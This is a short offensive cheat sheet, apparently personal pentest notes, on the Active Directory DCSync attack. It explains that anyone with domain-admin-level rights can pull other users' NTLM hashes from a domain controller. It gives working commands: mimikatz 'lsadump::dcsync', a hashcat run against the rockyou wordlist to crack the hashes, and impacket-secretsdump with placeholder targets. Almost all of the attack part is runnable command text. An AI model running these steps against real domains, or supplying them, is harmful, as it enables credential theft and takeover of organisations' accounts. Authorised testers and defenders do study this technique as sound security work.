Info

What is this? Basically in this attack we leverage our admin privileges to get hashes of other users from the domain controller.

When to do ? when we have domain admin, Enterprise Admin or Administrator group privileges

What we Do? DC does not check whether we are DC or not, It just checks if SID of requester have appropriate privileges.

Tools

What does it give ? NTLM hashes of the any User we ask .

Attack

Start Mimi Katz

.\mimikatz.exe

DC synchronization request for a user

lsadump::dcsync /user:{domain}\{any_user}

It gives hash of that user , Hash NTLM

Copy the hash in a file and crack it

hashcat -m 1000 hashes.dcsync /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force

DC synchronization Attack

impacket-secretsdump -just-dc-user {{target-user}} {{domain}}/{{admin_priv_Account}}:"{{password}}"@{{IP}}